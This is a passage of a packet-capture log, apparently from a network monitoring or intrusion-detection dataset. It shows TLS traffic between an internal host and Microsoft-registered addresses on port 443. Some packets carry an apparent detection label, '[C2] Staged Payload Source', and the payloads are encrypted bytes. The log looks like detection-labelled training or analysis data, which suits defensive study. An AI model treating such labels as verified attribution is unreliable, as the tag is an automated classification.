\"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4265, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 719, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x85\\\\x04b\\\\x03\\\\x14\\\\x84*\\\\xb2^\\\\x00\\\\x96A\\\\x80\\\\xcf\\\\xbe\\\\x83w\\\\xa4\\\\xcc\\\\xadhs#\\\\x18\\\\xb9#\\\\xa9)\\\\xa2\\\\xbb\\\\xa4\\\\xc95w\\\\x00\\\\xbf\\\\x18U1\\\\x98\\\\xd8(\\\\xd8>!\\\\x06\\\\xef\\\\xf77\\\\xd4X\\\\xfak\\\\xec\\\\xbe\\\\x91\\\\xf8\\\\xeb\\\\xa7\\\\xe6\\\\xdf\\\\x18A\\\\x81e\\\\xcd\\\\x88\\\\xb3\\\\xadB\\\\xb6\\\\xca\\\\x07[u4^\\\\xb4j\\\\xe7\\\\x88\\\\xb1\\\\xd20\\\\xf2f\\\\x14T;\\\\x90R-\\\\xdc\\\\x19z\\\\x8e\\\\ns\\\\x91`|U\\\\xe8\\\\xcc\\\\x93BnK\\\\xe0]\\\\xba\\\\x95[\\\\x91JS\\\\xfe\\\\xb1#\\\\xa0\\\\x808\\\\x10\\\\xa0\\\\xa5\\\\xb1Z\\\\xe48\\\\xf36\\\\x16\\\\xf3\\\\x91\\\\x15j\\\\xac\\\\xe4\\\\x06\\\\xa9\\\\xae\\\\x02\\\\x89\\\\x12\\\\xa4\\\\x04\\\\x08\\\\x8a\\\\x1c\\\\xa7,\\\\x0b\\\\xb1A\\\\xcb\\\\xf5r\\\\xe8\\\\xffZ\\\\x18H\\\\x17\\\\xe3@K;4\\\\xdb\\\\x9c\\\\x88\\\\xaaAn\\\\xcb5\\\\x9d\\\\xb4\\\\xee\\\\xa7\\\\xd4NQ\\\\ny\\\\x1f\\\\x08h\\\\xb9q\\\\xf7\\\\xf9qv\\\\x95\\\\xb8aC8\\\\xb6J\\\\xb2\\\\xa9kC`.G\\\\nV\\\\xb5\\\\xdd\\\\x97\\\\xfb\\\\x11\\\\x7f_tv\\\\xe2\\\\x9c\\\\x03\\\\xf1\\\\xe6T\\\\xd5\\\\x18\\\\xdc%\\\\xa1a\\\\x02\\\\xff\\\\x12\\\\xd4\\\\xf3\\\\xacb\\\\xc6\\\\x95\\\\x9ac\\\\x8b\\\\'`a(=+\\\\xd5S\\\\x8b\\\\xb1\\\\xe51\\\\xb3\\\\x18\\\\xb5A\\\\x13\\\\xf0\\\\xf0\\\\xf4\\\\x03\\\\xbc\\\\rU\\\\xd0\\\\x82\\\\x06\\\\xc1\\\\x95\\\\x9c\\\\x07\\\\n\\\\x95\\\\xb7V\\\\x19\\\\xcb!\\\\xee\\\\x97\\\\x7f\\\\xd3M\\\\xf6\\\\x10u\\\\x9f\\\\xf7o\\\\xf9\\\\\\\\,t\\\\x00zCl\\\\xc0\\\\x8a\\\\x82[\\\\xbd\\\\x9a\\\\x8cy\\\\xf6\\\\x84\\\\xfc\\\\xe1h57\\\\xc7\\\\xe3g5\\\\x86[\\\\xbc\\\\xce\\\\x9e\\\\x17\\\\xafW\\\\xec\\\\xdd&\\\\x95\\\\xf2\\\\x817>IE\\\\xcb6\\\\xc5PS\\\\xa2u\\\\x7fTt\\\\x82\\\\x9f|?\\\\xe9\\\\xc8\\\\xd8~v\\\\xe8\\\\xd7\\\\x1b\\\\xfd\\\\xe3\\\\xd4\\\\xe4\\\\xd9\\\\x04C\\\\xa0\\\\xd7n}\\\\xfe\\\\x04\\\\xf7\\\\x13*s\\\\x04\\\\xfa|#(\\\\xed\\\\x1d}\\\\x04h\\\\xb1\\\\xf3\\\\xf1\\\\x06\\\\xc4=;\\\\x17\\\\x98F\\\\xc0ZS\\\\xb2S\\\\x08\\\\xac\\\\x97\\\\x9a\\\\x0b\\\\xc2\\\\xb9,\\\\x8e9\\\\xd4\\\\x08\\\\xeb\\\\xa0\\\\xcb\\\\x87-m\\\\x8e\\\\x87:\\\\x01m\\\\xddz\\\\xcb\\\\x1f\\\\xa7\\\\xf0B\\\\x95A\\\\x0cm\\\\x18/u\\\\x1b\\\\x12\\\\xd18\\\\x89i\\\\x8b\\\\x8aq\\\\x88\\\\x01$\\\\xd4\\\\xca\\\\xa19\\\\x89\\\\xd9Q\\\\r\\\\\\\\\\\\'\\\\x0bS\\\\xa8\\\\x98%\\\\x8c\\\\xf9]X\\\\xa4\\\\xa2mu\\\\x12\\\\x82@+O\\\\xd9\\\\x94\\\\xf9\\\\xa8\\\\x83V\\\\\\\\\\\\x7f\\\\xfb\\\\xc0\\\\xddH\\\\xe2n\\\\xfbP!}\\\\x9f\\\\xb9\\\\xa3\\\\xc1\\\\xc2\\\\xf5\\\\x91\\\\\\\\)G\\\\x11hXe\\\\x92\\\\xb9\\\\xe7]\\\\xf3\\\\xcaqI\\\\xc16p\\\\xc5$\\\\x06R\\\\x9b\\\\xb5T\\\\x01@\\\\xddO\\\\x05Y\\\\x8f\\\\xa4\\\\x05\\\\xad\\\\xe1xT\\\\xc7\\\\x97\\\\xe7\\\\xb7;\\\\x94\\\\xfb6\\\\xa1{\\\\xb7\\\\x86@\\\\x18\\\\xdf\\\\xcf\\\\xaaYx;\\\\x08\\\\xcb<P\\\\xf0\\\\xfa\\\\x98$\\\\xcdcg\\\\x90\\\\xe9T`\\\\x87A5\\\\xa3~`\\\\xeare\\\\xe4-l}\\\\xb7\\\\xcanv\\\\xb2\\\\xdc0%\\\\xc5\\\\x92\\\\xb4ol\\\\xda\\\\xba\\\\xdf\\\\x97\\\\x1f\\\\x8f\\\\xc8h+~m\\\\xca\\\\xf1\\\\xed\\\\x91 \\\\xda/\\\\xffb\\\\xc7\\\\xcd\\\\xa2\\\\xa9\\\"\"\\\\xc8\\\\x85\\\\x8c\\\\xee\\\\x03A\\\\xb6&\\\\x1e\\\\x85\\\\x05\\\\x9f\\\\xc6\\\\xafr\\\\xfa\\\\x1f\\\\xe0\\\\xdc\\\\xe1\\\\xb23\\\\x7f\\\\xd5\\\\x0b\\\\x89\\\\xa7\\\\x85\\\\xc4b\\\\xca\\\\xa2\\\\xc0gHg\\\\x1dst\\\\x82@\\\\xa6\\\\xe9\\\\xff\\\\xea\\\\x0e\\\\'\\\\x90)\\\\x99oW\\\\x1a\\\\x95}\\\\xe9m\\\\xf30\\\\xad\\\\xb5\\\\xe5&\\\\xcdf*I\\\\xf2\\\\xa8C\\\\x9c\\\\x982\\\\xdf\\\\x1b\\\\xac\\\\xe0t\\\\x96\\\\x96[\\\\x95#\\\\x98' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:49.110698,76,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321036424 Ack=763877210,bc24112907bbbc2411360d0c0800450000288f0e400080065e070a98980b84f5e621fa0a01bbc5f2fe882d87d75a50100400d8f60000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-..ZP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36622, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24071, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036424, \"\"ack\"\": 763877210, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 55542, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:49.111981,77,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3321036424 Ack=763877210,bc24112907bbbc2411360d0c08004500006e8f0f400080065dc00a98980b84f5e621fa0a01bbc5f2fe882d87d75a50180400e362000017030300410000000000000005e794d17b705842d2dcfd615035eee86c3c03e9a561f800f0f3205bba4c984e0d3cbc911643c8f36f6702a399472c1b5d6c07027b8f0ea9dbee,\".$.)...$.6\n...E..n..@...].\n......!.\n......-..ZP....b......A...........{pXB...aP5..l<...a.... [.L.N\n<...C..og...G,.]l..{.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 36623, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24000, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036424, \"\"ack\"\": 763877210, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 58210, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xe7\\\\x94\\\\xd1{pXB\\\\xd2\\\\xdc\\\\xfdaP5\\\\xee\\\\xe8l<\\\\x03\\\\xe9\\\\xa5a\\\\xf8\\\\x00\\\\xf0\\\\xf3 [\\\\xbaL\\\\x98N\\\\r<\\\\xbc\\\\x91\\\\x16C\\\\xc8\\\\xf3og\\\\x02\\\\xa3\\\\x99G,\\\\x1b]l\\\\x07\\\\x02{\\\\x8f\\\\x0e\\\\xa9\\\\xdb\\\\xee' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:49.111986,78,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763877210 Ack=3321036494,bc2411360d0cbc24112907bb0800450000288ccf40004006a04684f5e6210a98980b01bbfa0a2d87d75ac5f2fece5010003f0dd50000,\".$.6\n..$.)....E..(..@.@..F...!\n......\n-..Z....P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36047, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41030, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763877210, \"\"ack\"\": 3321036494, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:49.584700,79,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=763877210 Ack=3321036494,bc2411360d0cbc24112907bb08004500029c8cd0400040069dd184f5e6210a98980b01bbfa0a2d87d75ac5f2fece5018003f10490000170303026f000000000000000745ee6d1c7c704ee744beba5edccde4f7bf03cef2019ce52e72ddc88447120a52f6744643bd9dc09c56fe0a4a0a2f207f88595e5e479806f95faf70a10957f252ccfd9b3dc05fa755c13b738c26bf2d0c38f86034e59fe409f27e7a309f50001a166848fb3ea6f75c8cf4aaf945803ac9db5e72dd754ef9fa9c55f5abb0394ab67e9b97a352f68873f24c07ca93b2ac1549a91bd156e40acdac58f644bddfa5d4d060bed88efb6d24679f6b8397d03ca72f888a9f27f5f09fd07caa6c2a8e0539255d4e53bbd380514220264463a33a1b0562d9859d39f63e26f424b658d9e8249f4f564925c952c5120acf036a6831b6414a07742b284bc997835b8c21dc3f939e48e23a539c2da993996927b8f41731b4ff664a7480f8dfd031ca9272ccf14a5b06e633858b232bf58c46829a92732eb832807cfaa8b206a9033f0285d9694f8965eb9551bf3f7e043cc739b3c395ebce2c798aa45cf2a3d7e042fcfe10ec016948cacfa92692018a2622ce1aac46e55bded0e0f8254f29576612aeb53ad65cd1d9c59289854261f358d84f9401c4f08ac722661133bdbabab3dbb4fd3a4407dfa46c11c16b4865586411661be1c5881a143fbc43870c86b92ee71f837812fc94d87eaaa689c61b831b937f5fe501c6155df4216c150218d0e6866f58f271f6402298b03d738ab9007c9b5a9d50c22c152b0b4f6896f1bbb9ffba10c1f59bf3634f24c2ae1964fb56decc5622b832d184074799da2898c62961e602f6df31923423ce48a43ae8cd2005985f0e9052f5a9d9761c8844b4a240ae60cb5fd0df6b8210d328308baaf8cbcf2273348bed264ad06a2492dd57c53d66d7617d49034fb9a1e92fa45de5,\".$.6\n..$.)....E.....@.@......!\n......\n-..Z....P..?.I......o........E.m.|pN.D..^............r...G.\nR.tFC....V.\nJ\n/ ..Y^^G..._.p.\tW.R...=._.U.;s.&.-.8.`4...\t.~z0.P...hH.>..\\....E.:..^r.uN...U...9J.~...R..s.L......I...V.\n..X.D.....`....m$g.k...<./...'....|.l*..9%]NS...QB &Dc.:..b...9.>&.$.X..$.OVI%.R..\n..jh1.AJ.t+(K...[.!.?..H.:S.-...i'...1..fJt....1..r..J[..3..#+..F...s..2.|......?...iO.e..Q.?~.<.9.....,y..\\....B.....iH...&...&\"\"...F.[....%O)Wf...:.\\......Ba.X.O......\"\"f.3.......:D...l..kHeXd.f......?.C........x....~........._....].!l......oX.q.@\"\"..=s...|.Z.P.,.+.Oh...........cO$...d.V..V\"\".2...G..(..)a....1.4#.H.:.. .._..R...v..D..@.`._..k...(0.....\"\"s4..&J.j$..W.=f.a}I.O.../.].\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 36048, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 40401, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763877210, \"\"ack\"\": 3321036494, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 4169, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07E\\\\xeem\\\\x1c|pN\\\\xe7D\\\\xbe\\\\xba^\\\\xdc\\\\xcd\\\\xe4\\\\xf7\\\\xbf\\\\x03\\\\xce\\\\xf2\\\\x01\\\\x9c\\\\xe5.r\\\\xdd\\\\xc8\\\\x84G\\\\x12\\\\nR\\\\xf6tFC\\\\xbd\\\\x9d\\\\xc0\\\\x9cV\\\\xfe\\\\nJ\\\\n/ \\\\x7f\\\\x88Y^^G\\\\x98\\\\x06\\\\xf9_\\\\xafp\\\\xa1\\\\tW\\\\xf2R\\\\xcc\\\\xfd\\\\x9b=\\\\xc0_\\\\xa7U\\\\xc1;s\\\\x8c&\\\\xbf-\\\\x0c8\\\\xf8`4\\\\xe5\\\\x9f\\\\xe4\\\\t\\\\xf2~z0\\\\x9fP\\\\x00\\\\x1a\\\\x16hH\\\\xfb>\\\\xa6\\\\xf7\\\\\\\\\\\\x8c\\\\xf4\\\\xaa\\\\xf9E\\\\x80:\\\\xc9\\\\xdb^r\\\\xdduN\\\\xf9\\\\xfa\\\\x9cU\\\\xf5\\\\xab\\\\xb09J\\\\xb6~\\\\x9b\\\\x97\\\\xa3R\\\\xf6\\\\x88s\\\\xf2L\\\\x07\\\\xca\\\\x93\\\\xb2\\\\xac\\\\x15I\\\\xa9\\\\x1b\\\\xd1V\\\\xe4\\\\n\\\\xcd\\\\xacX\\\\xf6D\\\\xbd\\\\xdf\\\\xa5\\\\xd4\\\\xd0`\\\\xbe\\\\xd8\\\\x8e\\\\xfbm$g\\\\x9fk\\\\x83\\\\x97\\\\xd0<\\\\xa7/\\\\x88\\\\x8a\\\\x9f\\\\'\\\\xf5\\\\xf0\\\\x9f\\\\xd0|\\\\xaal*\\\\x8e\\\\x059%]NS\\\\xbb\\\\xd3\\\\x80QB &Dc\\\\xa3:\\\\x1b\\\\x05b\\\\xd9\\\\x85\\\\x9d9\\\\xf6>&\\\\xf4$\\\\xb6X\\\\xd9\\\\xe8$\\\\x9fOVI%\\\\xc9R\\\\xc5\\\\x12\\\\n\\\\xcf\\\\x03jh1\\\\xb6AJ\\\\x07t+(K\\\\xc9\\\\x97\\\\x83[\\\\x8c!\\\\xdc?\\\\x93\\\\x9eH\\\\xe2:S\\\\x9c-\\\\xa9\\\\x93\\\\x99i\\\\'\\\\xb8\\\\xf4\\\\x171\\\\xb4\\\\xfffJt\\\\x80\\\\xf8\\\\xdf\\\\xd01\\\\xca\\\\x92r\\\\xcc\\\\xf1J[\\\\x06\\\\xe63\\\\x85\\\\x8b#+\\\\xf5\\\\x8cF\\\\x82\\\\x9a\\\\x92s.\\\\xb82\\\\x80|\\\\xfa\\\\xa8\\\\xb2\\\\x06\\\\xa9\\\\x03?\\\\x02\\\\x85\\\\xd9iO\\\\x89e\\\\xeb\\\\x95Q\\\\xbf?~\\\\x04<\\\\xc79\\\\xb3\\\\xc3\\\\x95\\\\xeb\\\\xce,y\\\\x8a\\\\xa4\\\\\\\\\\\\xf2\\\\xa3\\\\xd7\\\\xe0B\\\\xfc\\\\xfe\\\\x10\\\\xec\\\\x01iH\\\\xca\\\\xcf\\\\xa9&\\\\x92\\\\x01\\\\x8a&\\\"\"\\\\xce\\\\x1a\\\\xacF\\\\xe5[\\\\xde\\\\xd0\\\\xe0\\\\xf8%O)Wf\\\\x12\\\\xae\\\\xb5:\\\\xd6\\\\\\\\\\\\xd1\\\\xd9\\\\xc5\\\\x92\\\\x89\\\\x85Ba\\\\xf3X\\\\xd8O\\\\x94\\\\x01\\\\xc4\\\\xf0\\\\x8a\\\\xc7\\\"\"f\\\\x113\\\\xbd\\\\xba\\\\xba\\\\xb3\\\\xdb\\\\xb4\\\\xfd:D\\\\x07\\\\xdf\\\\xa4l\\\\x11\\\\xc1kHeXd\\\\x11f\\\\x1b\\\\xe1\\\\xc5\\\\x88\\\\x1a\\\\x14?\\\\xbcC\\\\x87\\\\x0c\\\\x86\\\\xb9.\\\\xe7\\\\x1f\\\\x83x\\\\x12\\\\xfc\\\\x94\\\\xd8~\\\\xaa\\\\xa6\\\\x89\\\\xc6\\\\x1b\\\\x83\\\\x1b\\\\x93\\\\x7f_\\\\xe5\\\\x01\\\\xc6\\\\x15]\\\\xf4!l\\\\x15\\\\x02\\\\x18\\\\xd0\\\\xe6\\\\x86oX\\\\xf2q\\\\xf6@\\\"\"\\\\x98\\\\xb0=s\\\\x8a\\\\xb9\\\\x00|\\\\x9bZ\\\\x9dP\\\\xc2,\\\\x15+\\\\x0bOh\\\\x96\\\\xf1\\\\xbb\\\\xb9\\\\xff\\\\xba\\\\x10\\\\xc1\\\\xf5\\\\x9b\\\\xf3cO$\\\\xc2\\\\xae\\\\x19d\\\\xfbV\\\\xde\\\\xccV\\\"\"\\\\xb82\\\\xd1\\\\x84\\\\x07G\\\\x99\\\\xda(\\\\x98\\\\xc6)a\\\\xe6\\\\x02\\\\xf6\\\\xdf1\\\\x924#\\\\xceH\\\\xa4:\\\\xe8\\\\xcd \\\\x05\\\\x98_\\\\x0e\\\\x90R\\\\xf5\\\\xa9\\\\xd9v\\\\x1c\\\\x88D\\\\xb4\\\\xa2@\\\\xae`\\\\xcb_\\\\xd0\\\\xdfk\\\\x82\\\\x10\\\\xd3(0\\\\x8b\\\\xaa\\\\xf8\\\\xcb\\\\xcf\\\"\"s4\\\\x8b\\\\xed&J\\\\xd0j$\\\\x92\\\\xddW\\\\xc5=f\\\\xd7a}I\\\\x03O\\\\xb9\\\\xa1\\\\xe9/\\\\xa4]\\\\xe5' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:49.586175,80,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321036494 Ack=763877838,bc24112907bbbc2411360d0c0800450000288f10400080065e050a98980b84f5e621fa0a01bbc5f2fece2d87d9ce501003fdd63f0000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-...P....?..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36624, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24069, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321036494, \"\"ack\"\": 763877838, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 54847, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:49.803221,81,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=962448192 Ack=0,bc24112907bbbc2411360d0c080045000034af97400080066ff90a98980b2862102efa0e01bb395dcb40000000008002ffff93750000020405b40103030801010402,\".$.)...$.6\n...E..4..@...o.\n...(b......9].@.........u..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 44951, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28665, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448192, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 37749, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:22:49.803242,82,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4197184397 Ack=962448193,bc2411360d0cbc24112907bb0800450000340000400040065f912862102e0a98980b01bbfa0efa2bf38d395dcb418012faf0db590000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@._.(b..\n........+..9].A.....Y.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 24465, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197184397, \"\"ack\"\": 962448193, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 56153, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:22:49.803446,83,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448193 Ack=4197184398,bc24112907bbbc2411360d0c080045000028af984000800670040a98980b2862102efa0e01bb395dcb41fa2bf38e50100400e27d0000,\".$.)...$.6\n...E..(..@...p.\n...(b......9].A.+..P....}..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44952, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28676, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 